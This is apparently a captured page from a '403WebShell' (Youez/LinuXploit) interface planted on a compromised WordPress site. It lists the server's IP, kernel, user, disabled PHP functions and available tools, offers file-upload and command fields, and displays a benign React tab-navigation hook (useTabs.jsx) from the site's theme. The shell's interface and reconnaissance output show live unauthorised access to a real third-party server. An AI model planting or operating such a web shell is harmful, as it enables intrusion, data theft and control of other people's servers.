Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/themes/blossom-fashion/src/components/Tab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/themes/blossom-fashion/src/components/Tab/useTabs.jsx
import { useRef, useState, useEffect } from 'react';
import { useNavigate } from 'react-router-dom';

function useTabs(initialTabs, initialActiveTab = 0, onChange) {
	const tabsRef = useRef(initialTabs);
	const [activeTab, setActiveTab] = useState(initialActiveTab);
	const navigate = useNavigate();

	const handleTabClick = (index) => {
		if (index !== activeTab) {
			setActiveTab(index);
			const newHash = tabsRef.current[index].title.toLowerCase().replace(/ /g, "-");
			if (onChange) {
				onChange(tabsRef.current[index].title);
			}
			navigate(`/wp-admin/themes.php?page=blossom-fashion-dashboard#${newHash}`);
		}
	};

	const checkHash = () => {
		const hash = window.location.hash.substring(1);
		const tabIndex = tabsRef.current.findIndex(
			(tab) => tab.title.toLowerCase().replace(/ /g, "-") === hash
		);
		if (tabIndex !== -1 && tabIndex !== activeTab) {
			setActiveTab(tabIndex);
			if (onChange) {
				onChange(tabsRef.current[tabIndex].title);
			}
		}
	};

	useEffect(() => {
		checkHash();
		window.addEventListener('hashchange', checkHash);
		return () => {
			window.removeEventListener('hashchange', checkHash);
		};
	}, []);

	const renderTabs = () => {
		return tabsRef.current.map((tab, index) => (
			<button
				key={index}
				onClick={() => handleTabClick(index)}
				className={activeTab === index ? 'active-tab' : ''}
			>
				{tab.icon}
				{tab.title}
			</button>
		));
	};

	const renderContent = () => {
		return tabsRef.current[activeTab].content;
	};

	return { renderTabs, renderContent };
}

export default useTabs;

Youez - 2016 - github.com/yon3zu
LinuXploit